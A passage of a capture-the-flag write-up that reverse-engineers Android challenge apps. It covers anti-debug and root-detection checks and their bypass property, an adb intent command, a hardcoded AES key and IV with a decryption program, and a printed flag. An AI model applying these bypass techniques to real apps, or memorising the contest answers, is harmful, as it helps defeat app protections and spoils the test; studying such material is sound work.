<p>With that, we first jump to the <code class="language-plaintext highlighter-rouge">MainActivity</code> class. From the <code class="language-plaintext highlighter-rouge">dex2jar</code> decompiled code of the class, we can immediately notice a few things. First, there is a hint that says <code class="language-plaintext highlighter-rouge">State the secret phrase (omit the oh ex)</code>, where oh ex seems to refer to <code class="language-plaintext highlighter-rouge">0x</code>, something you usually find before a hexadecimal representation of a value. Second, there is a JNI method defined <code class="language-plaintext highlighter-rouge">flag</code>, which seems to be taking in three String values and returning the flag is the values are correct, this seems to remind me of Challenge 4 previously.</p>
<p>The next step would be to look at the JNI method <code class="language-plaintext highlighter-rouge">flag</code> in IDA Pro. The decompilation of the method in IDA Pro appears to be very similar to challenge 4 previously as well. It seems to be using the blake2b hash values of the three strings and xor’ed together using the stream_xsalsa_xor with an unknown value (which is probably the encrypted value of the flag). Therefore, if the three strings provided were accurate, the result from this function would likely give us the flag for this challenge.</p>
<p>With that, we would need to figure out the three Strings required.</p>
<p>We now move on to look at <code class="language-plaintext highlighter-rouge">com.h1702ctf.ctfone5.CruelIntentions</code>. The decompiled class is pretty simple, the class is a subclass of <code class="language-plaintext highlighter-rouge">IntentService</code> and is used to set up an intent service which reacts to the <code class="language-plaintext highlighter-rouge">com.h1702ctf.ctfone5.action.HINT</code> action and calls a JNI method <code class="language-plaintext highlighter-rouge">one()</code> if the <code class="language-plaintext highlighter-rouge">com.h1702ctf.ctfone5.extra.PARAM1</code> param is equal to <code class="language-plaintext highlighter-rouge">orange</code>.</p>
<p><img src="https://quanyang.github.io/resources/images/h1702/challenge_5.png" alt="" /></p>
<p>Knowing this, we can call the intent using the following ADB command: <br />
<code class="language-plaintext highlighter-rouge">adb shell am startservice -n "com.h1702ctf.ctfone5/com.h1702ctf.ctfone5.CruelIntentions" -a com.h1702ctf.ctfone5.action.HINT -e com.h1702ctf.ctfone5.extra.PARAM1 orange</code></p>
<p>I tried running the intent service, but nothing appears to be happening. We did notice this in the logcat output.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>I/BOOYA ( 5120): got intent
I/BOOYA ( 5120): got hint
I/BOOYA ( 5120): param: orange
</code></pre></div></div>
<p>This indicates that the intent service was successfully invoked.</p>
<p>With the jar side of things covered (i.e. we have looked at all custom Java classes), we can now move to the JNI method <code class="language-plaintext highlighter-rouge">one()</code>.</p>
<p>The IDA Pro decompilation of the method is long and complex therefore I will talk about snippets that appears interesting to me.</p>
<p>The first interesting snippet is:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre> <span class="k">if</span> <span class="p">(</span> <span class="n">prctl</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">byte_D064</span> <span class="o">&</span> <span class="mi">1</span> <span class="p">)</span>
<span class="n">v57</span> <span class="o">=</span> <span class="n">raise</span><span class="p">(</span><span class="mi">11</span><span class="p">);</span>
<span class="n">v56</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">v2</span> <span class="o">=</span> <span class="n">prctl</span><span class="p">(</span><span class="mi">4</span><span class="p">);</span>
<span class="n">byte_D064</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">v55</span> <span class="o">=</span> <span class="n">v2</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>This code snippet seems to check if the process is dumpable, and if so, sets it to be not dumpable.</p>
<p>The second interesting snippet is:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="code"><pre><span class="n">v3</span> <span class="o">=</span> <span class="n">getpid</span><span class="p">();</span>
<span class="n">v60</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">=</span> <span class="n">v3</span><span class="p">;</span>
<span class="n">v54</span> <span class="o">=</span> <span class="n">v3</span><span class="p">;</span>
<span class="n">v53</span> <span class="o">=</span> <span class="o">&</span><span class="n">v78</span><span class="p">;</span>
<span class="n">v52</span> <span class="o">=</span> <span class="n">sprintf</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v78</span><span class="p">,</span> <span class="s">"/proc/%d/status"</span><span class="p">,</span> <span class="n">v3</span><span class="p">);</span>
<span class="n">v4</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">((</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v78</span><span class="p">,</span> <span class="s">"r"</span><span class="p">);</span>
<span class="n">v60</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">v4</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v4</span> <span class="p">)</span> <span class="p">{</span>
<span class="k">while</span> <span class="p">(</span> <span class="n">fgets</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v76</span><span class="p">,</span> <span class="mi">1024</span><span class="p">,</span> <span class="p">(</span><span class="kt">FILE</span> <span class="o">*</span><span class="p">)</span><span class="n">v60</span><span class="p">[</span><span class="mi">5</span><span class="p">])</span> <span class="p">)</span> <span class="p">{</span>
<span class="n">v51</span> <span class="o">=</span> <span class="s">"TracerPid"</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">strncmp</span><span class="p">((</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v76</span><span class="p">,</span> <span class="s">"TracerPid"</span><span class="p">,</span> <span class="mi">9u</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
<span class="n">v5</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">((</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v77</span><span class="p">);</span>
<span class="n">v60</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="n">v5</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v5</span> <span class="p">)</span> <span class="p">{</span>
<span class="n">v6</span> <span class="o">=</span> <span class="n">fclose</span><span class="p">((</span><span class="kt">FILE</span> <span class="o">*</span><span class="p">)</span><span class="n">v60</span><span class="p">[</span><span class="mi">5</span><span class="p">]);</span>
<span class="n">v65</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">v50</span> <span class="o">=</span> <span class="n">v6</span><span class="p">;</span>
<span class="k">goto</span> <span class="n">LABEL_14</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">v7</span> <span class="o">=</span> <span class="n">fclose</span><span class="p">((</span><span class="kt">FILE</span> <span class="o">*</span><span class="p">)</span><span class="n">v60</span><span class="p">[</span><span class="mi">5</span><span class="p">]);</span>
<span class="n">v65</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">v49</span> <span class="o">=</span> <span class="n">v7</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>This portion seems to be checking if the TracePid of the process is non-zero, which hints whether the process is being traced/debugged.</p>
<p>The third interesting snippet is:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre><span class="k">while</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">v60</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o"><=</span> <span class="mh">0xA</span> <span class="p">)</span> <span class="p">{</span>
<span class="n">v9</span> <span class="o">=</span> <span class="n">g_su_paths</span><span class="p">[</span><span class="n">v60</span><span class="p">[</span><span class="mi">9</span><span class="p">]];</span>
<span class="n">v60</span><span class="p">[</span><span class="mi">11</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">v9</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">access</span><span class="p">(</span><span class="n">v9</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span> <span class="p">)</span> <span class="p">{</span>
<span class="n">v66</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">goto</span> <span class="n">LABEL_22</span><span class="p">;</span>
<span class="p">}</span>
<span class="o">++</span><span class="n">v60</span><span class="p">[</span><span class="mi">9</span><span class="p">];</span>
<span class="p">}</span>
<span class="n">v66</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>This portion seems to be checking if filepaths specified in <code class="language-plaintext highlighter-rouge">g_su_paths</code> is accessible.</p>
<p>And the filepaths are:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/su/bin/su
/system/bin/daemonsu
/system/xbin/daemonsu
/sbin/su
/system/bin/su
/system/xbin/su
/data/local/xbin/su
/data/local/bin/su
/system/sd/xbin/su
/system/bin/failsafe/su
/data/local/su
</code></pre></div></div>
<p>The fourth snippet is:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="code"><pre><span class="n">v33</span> <span class="o">=</span> <span class="n">_system_property_get</span><span class="p">(</span><span class="s">"mobsec.setme"</span><span class="p">);</span>
<span class="n">v30</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">((</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v69</span><span class="p">);</span>
<span class="o">*</span><span class="n">v60</span> <span class="o">=</span> <span class="n">v30</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v30</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1096307938</span><span class="p">;</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>This portion seems to check that a certain system property <code class="language-plaintext highlighter-rouge">mobsec.setme</code> is equal to 1 and to return a certain value.</p>
<p>Putting the four parts together, it seems that the function is checking if the device is rooted or being traced/debugged and the fourth part appears to be a bypass for the check.</p>
<p>However, looking carefully, we can see that the return value of this native function is always a constant when the constraints are met.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:00002920 LDR R0, =0x5F53D58F
.text:00002922 LDR R3, =0x5F53D58F
.text:00002924 ADD R0, R3
.text:00002926 LDR R1, =0x7D670F2A
.text:00002928 LDR R3, =0x7D670F2B
.text:0000292A ADD R1, R3
.text:0000292C LDR R2, =0x6D3D5D2F
.text:0000292E LDR R3, =0x6D3D5D2F
.text:00002930 ADD R2, R3
.text:00002932 LDR R3, =0x6F56DD5F
.text:00002934 LDR.W LR, =0x6F56DD5F
.text:00002938 ADD LR, R3
.text:0000293A BX LR
</code></pre></div></div>
<p>If we were to evaluate the <code class="language-plaintext highlighter-rouge">ADD</code> instructions, this is what we will obtain:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre><span class="n">In</span> <span class="p">[</span><span class="mi">1</span><span class="p">]:</span> <span class="nb">hex</span><span class="p">(</span><span class="mh">0x5F53D58F</span><span class="o">+</span><span class="mh">0x5F53D58F</span><span class="p">)</span>
<span class="n">Out</span><span class="p">[</span><span class="mi">1</span><span class="p">]:</span> <span class="s">'0xbea7ab1e'</span>
<span class="n">In</span> <span class="p">[</span><span class="mi">2</span><span class="p">]:</span> <span class="nb">hex</span><span class="p">(</span><span class="mh">0x7D670F2A</span><span class="o">+</span><span class="mh">0x7D670F2B</span><span class="p">)</span>
<span class="n">Out</span><span class="p">[</span><span class="mi">2</span><span class="p">]:</span> <span class="s">'0xface1e55'</span>
<span class="n">In</span> <span class="p">[</span><span class="mi">3</span><span class="p">]:</span> <span class="nb">hex</span><span class="p">(</span><span class="mh">0x6D3D5D2F</span><span class="o">+</span><span class="mh">0x6D3D5D2F</span><span class="p">)</span>
<span class="n">Out</span><span class="p">[</span><span class="mi">3</span><span class="p">]:</span> <span class="s">'0xda7aba5e'</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Therefore, it becomes apparent that this three values are the String values that is to be submitted to the <code class="language-plaintext highlighter-rouge">flag()</code> function. Attempting to submit this, we get our fifth flag! Remember that we are suppose to omit the 0x.</p>
<p><img src="https://quanyang.github.io/resources/images/h1702/challenge_5_flag.png" alt="" /></p>
<p>Our 5th Flag: cApwN{sPEak_FrieNd_aNd_enteR!}</p>
<h2 id="level-6">Level 6</h2>
<blockquote>
<p>I can’t think of anything creative… just try to solve this one :)<br />
<a href="https://h1702ctf.com/themes/h1ctf/static/chals/ctfone6-6118c10be480b994654a1f01cd322af2df2ceab6.apk">ctfone6-6118c10be480b994654a1f01cd322af2df2ceab6.apk</a></p>
</blockquote>
<p>The <code class="language-plaintext highlighter-rouge">AndroidManifest.xml</code> doesn’t show any additional service or activity this time round other than the MainActivity. There is however a native library called <code class="language-plaintext highlighter-rouge">libidk-really.so</code>.</p>
<p>Also, within <code class="language-plaintext highlighter-rouge">/res/raw</code> there is two files called <code class="language-plaintext highlighter-rouge">something.jar</code> and <code class="language-plaintext highlighter-rouge">secretasset</code>.</p>
<p>The name itself seems to hint that they have something to do with the flag. Though its called <code class="language-plaintext highlighter-rouge">something.jar</code>, the file command doesn’t seem to recognize it as a legitimate file.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="code"><pre>→ file secretasset something.jar
secretasset: data
something.jar: data
</pre></td></tr></tbody></table></code></pre></figure>
<p>Looking at <code class="language-plaintext highlighter-rouge">MainActivity.class</code>, we see that the <code class="language-plaintext highlighter-rouge">onClick</code> event attempts to open the <code class="language-plaintext highlighter-rouge">something.jar</code> file and to execute it after it has been handled by the <code class="language-plaintext highlighter-rouge">prepareDex</code> method.</p>
<p>From the smali code, we can see that in the <code class="language-plaintext highlighter-rouge">prepareDex</code> method, <code class="language-plaintext highlighter-rouge">something.jar</code> is being decrypted using the following decryption method.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre> <span class="kd">public</span> <span class="kd">static</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">decrypt</span><span class="o">(</span><span class="nc">String</span> <span class="n">paramString1</span><span class="o">,</span> <span class="nc">String</span> <span class="n">paramString2</span><span class="o">,</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">paramArrayOfByte</span><span class="o">)</span>
<span class="o">{</span>
<span class="k">try</span>
<span class="o">{</span>
<span class="n">paramString2</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">IvParameterSpec</span><span class="o">(</span><span class="n">paramString2</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(</span><span class="s">"UTF-8"</span><span class="o">));</span>
<span class="n">paramString1</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">SecretKeySpec</span><span class="o">(</span><span class="n">paramString1</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(</span><span class="s">"UTF-8"</span><span class="o">),</span> <span class="s">"AES"</span><span class="o">);</span>
<span class="nc">Cipher</span> <span class="n">localCipher</span> <span class="o">=</span> <span class="nc">Cipher</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"AES/CBC/PKCS5PADDING"</span><span class="o">);</span>
<span class="n">localCipher</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="mi">2</span><span class="o">,</span> <span class="n">paramString1</span><span class="o">,</span> <span class="n">paramString2</span><span class="o">);</span>
<span class="n">paramString1</span> <span class="o">=</span> <span class="n">localCipher</span><span class="o">.</span><span class="na">doFinal</span><span class="o">(</span><span class="n">paramArrayOfByte</span><span class="o">);</span>
<span class="k">return</span> <span class="n">paramString1</span><span class="o">;</span>
<span class="o">}</span>
<span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">paramString1</span><span class="o">)</span>
<span class="o">{</span>
<span class="n">paramString1</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>However, the key and IV is not clearly identified in the decryption method.</p>
<figure class="highlight"><pre><code class="language-smali" data-lang="smali"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="code"><pre> move-result-object v11
const v12, 0x7f050001
invoke-virtual {v11, v12}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
move-result-object v11
invoke-virtual/range {p0 .. p0}, Lcom/example/asdf/MainActivity;->getResources()Landroid/content/res/Resources;
move-result-object v12
const v13, 0x7f050004
invoke-virtual {v12, v13}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
move-result-object v12
invoke-static {v11, v12, v5}, Lcom/example/asdf/MainActivity;->decrypt(Ljava/lang/String;Ljava/lang/String;[B)[B
</pre></td></tr></tbody></table></code></pre></figure>
<p>By looking again at the <code class="language-plaintext highlighter-rouge">smali</code> code, we see that the String resource with id <code class="language-plaintext highlighter-rouge">0x7f050001</code> and <code class="language-plaintext highlighter-rouge">0x7f050004</code> is used as parameter to the <code class="language-plaintext highlighter-rouge">decrypt</code> method, which means that the key and IV is hard coded.</p>
<p>With that, we can cross reference from <code class="language-plaintext highlighter-rouge">/res/values/ids.xml</code> to figure out that <code class="language-plaintext highlighter-rouge">0x7f050001</code> is referring to <code class="language-plaintext highlighter-rouge">booper</code> and <code class="language-plaintext highlighter-rouge">0x7f050004</code> is referring to <code class="language-plaintext highlighter-rouge">dooper</code>.</p>
<figure class="highlight"><pre><code class="language-xml" data-lang="xml"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre><span class="cp"><?xml version="1.0" encoding="utf-8"?></span>
<span class="nt"><resources></span>
<span class="nt"><string</span> <span class="na">name=</span><span class="s">"app_name"</span><span class="nt">></span>Level 6<span class="nt"></string></span>
<span class="nt"><string</span> <span class="na">name=</span><span class="s">"booper"</span><span class="nt">></span>UCFh%divfMtY3pPD<span class="nt"></string></span>
<span class="nt"><string</span> <span class="na">name=</span><span class="s">"diag_message"</span><span class="nt">></span>Processing dex file...<span class="nt"></string></span>
<span class="nt"><string</span> <span class="na">name=</span><span class="s">"diag_title"</span><span class="nt">></span>Wait<span class="nt"></string></span>
<span class="nt"><string</span> <span class="na">name=</span><span class="s">"dooper"</span><span class="nt">></span>nY6FtpPFXnh,yjvc<span class="nt"></string></span>
<span class="nt"><string</span> <span class="na">name=</span><span class="s">"message"</span><span class="nt">></span>Come at me bro<span class="nt"></string></span>
<span class="nt"><string</span> <span class="na">name=</span><span class="s">"toast"</span><span class="nt">></span>Toast!<span class="nt"></string></span>
<span class="nt"></resources></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>The contents of <code class="language-plaintext highlighter-rouge">/res/values/strings.xml</code> then tells us the String values. Using the decompiled code for the <code class="language-plaintext highlighter-rouge">decrypt</code> method, I quickly wrote a Java console application to decrypt <code class="language-plaintext highlighter-rouge">something.jar</code>.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
</pre></td><td class="code"><pre><span class="kn">import</span> <span class="nn">java.io.File</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.MessageDigest</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.crypto.Cipher</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.crypto.spec.IvParameterSpec</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.crypto.spec.SecretKeySpec</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.BufferedInputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.FileInputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.FileOutputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.IOException</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">Solution</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span> <span class="n">args</span><span class="o">[])</span> <span class="o">{</span>
<span class="nc">String</span> <span class="n">key</span> <span class="o">=</span> <span class="s">"nY6FtpPFXnh,yjvc"</span><span class="o">;</span>
<span class="nc">String</span> <span class="n">iv</span> <span class="o">=</span> <span class="s">"UCFh%divfMtY3pPD"</span><span class="o">;</span>
<span class="nc">BufferedInputStream</span> <span class="n">br</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="nc">FileInputStream</span> <span class="n">fr</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">fr</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">FileInputStream</span><span class="o">(</span><span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="s">"something.jar"</span><span class="o">));</span>
<span class="n">br</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">BufferedInputStream</span><span class="o">(</span><span class="n">fr</span><span class="o">);</span>
<span class="kt">byte</span><span class="o">[]</span> <span class="n">ab</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="n">br</span><span class="o">.</span><span class="na">available</span><span class="o">()];</span>
<span class="n">br</span><span class="o">.</span><span class="na">read</span><span class="o">(</span><span class="n">ab</span><span class="o">);</span>
<span class="nc">FileOutputStream</span> <span class="n">fos</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">FileOutputStream</span><span class="o">(</span><span class="s">"something-decrypted.jar"</span><span class="o">);</span>
<span class="n">fos</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">decrypt</span><span class="o">(</span><span class="n">iv</span><span class="o">,</span><span class="n">key</span><span class="o">,</span><span class="n">ab</span><span class="o">));</span>
<span class="n">fos</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">(</span><span class="n">br</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
<span class="n">br</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="k">if</span> <span class="o">(</span><span class="n">fr</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
<span class="n">fr</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">ex</span><span class="o">)</span> <span class="o">{</span>
<span class="n">ex</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">decrypt</span><span class="o">(</span><span class="nc">String</span> <span class="n">paramString1</span><span class="o">,</span> <span class="nc">String</span> <span class="n">paramString2</span><span class="o">,</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">paramArrayOfByte</span><span class="o">)</span>
<span class="o">{</span>
<span class="k">try</span>
<span class="o">{</span>
<span class="nc">IvParameterSpec</span> <span class="n">a</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">IvParameterSpec</span><span class="o">(</span><span class="n">paramString2</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(</span><span class="s">"UTF-8"</span><span class="o">));</span>
<span class="nc">SecretKeySpec</span> <span class="n">b</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">SecretKeySpec</span><span class="o">(</span><span class="n">paramString1</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(</span><span class="s">"UTF-8"</span><span class="o">),</span> <span class="s">"AES"</span><span class="o">);</span>
<span class="nc">Cipher</span> <span class="n">localCipher</span> <span class="o">=</span> <span class="nc">Cipher</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"AES/CBC/PKCS5PADDING"</span><span class="o">);</span>
<span class="n">localCipher</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="mi">2</span><span class="o">,</span> <span class="n">b</span><span class="o">,</span> <span class="n">a</span><span class="o">);</span>
<span class="kt">byte</span><span class="o">[]</span> <span class="n">paramString12</span> <span class="o">=</span> <span class="n">localCipher</span><span class="o">.</span><span class="na">doFinal</span><span class="o">(</span><span class="n">paramArrayOfByte</span><span class="o">);</span>
<span class="k">return</span> <span class="n">paramString12</span><span class="o">;</span>
<span class="o">}</span>
<span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span>
<span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Running the Java program gives us the decrypted <code class="language-plaintext highlighter-rouge">something.jar</code> file.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
</pre></td><td class="code"><pre>→ file something-decrypted.jar
something-decrypted.jar: Java archive data <span class="o">(</span>JAR<span class="o">)</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>We then use dex2jar to decompile the decrypted jar, this gives us two classes, <code class="language-plaintext highlighter-rouge">IReallyHaveNoIdea.class</code> and <code class="language-plaintext highlighter-rouge">Pooper.class</code>.</p>
<p><code class="language-plaintext highlighter-rouge">IReallyHaveNoIdea.class</code> seems to be registering a new intent receiver for the <code class="language-plaintext highlighter-rouge">com.example.asdf.SEND</code> intent. <code class="language-plaintext highlighter-rouge">Pooper.class</code> seems to be the receiver for the intent and appears to be <code class="language-plaintext highlighter-rouge">decrypting</code> something when it receives an intent call.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</pre></td><td class="code"><pre><span class="kd">public</span> <span class="kt">void</span> <span class="nf">onReceive</span><span class="o">(</span><span class="nc">Context</span> <span class="n">paramContext</span><span class="o">,</span> <span class="nc">Intent</span> <span class="n">paramIntent</span><span class="o">)</span>
<span class="o">{</span>
<span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="n">paramIntent</span><span class="o">.</span><span class="na">getStringExtra</span><span class="o">(</span><span class="s">"herpaderp"</span><span class="o">);</span>
<span class="n">paramIntent</span> <span class="o">=</span> <span class="n">paramIntent</span><span class="o">.</span><span class="na">getStringExtra</span><span class="o">(</span><span class="s">"lerpaherp"</span><span class="o">);</span>
<span class="k">if</span> <span class="o">((!</span><span class="n">checkSomething1</span><span class="o">(</span><span class="n">str</span><span class="o">))</span> <span class="o">||</span> <span class="o">(!</span><span class="n">checkSomething2</span><span class="o">(</span><span class="n">paramIntent</span><span class="o">)))</span> <span class="o">{</span>
<span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
<span class="o">}</span>
<span class="n">paramContext</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="n">paramContext</span><span class="o">.</span><span class="na">getDir</span><span class="o">(</span><span class="s">"dex"</span><span class="o">,</span> <span class="mi">0</span><span class="o">),</span> <span class="s">"super-dooper"</span><span class="o">);</span>
<span class="n">paramContext</span><span class="o">.</span><span class="na">delete</span><span class="o">();</span>
<span class="k">try</span>
<span class="o">{</span>
<span class="nc">BufferedOutputStream</span> <span class="n">localBufferedOutputStream</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">BufferedOutputStream</span><span class="o">(</span><span class="k">new</span> <span class="nc">FileOutputStream</span><span class="o">(</span><span class="n">paramContext</span><span class="o">));</span>
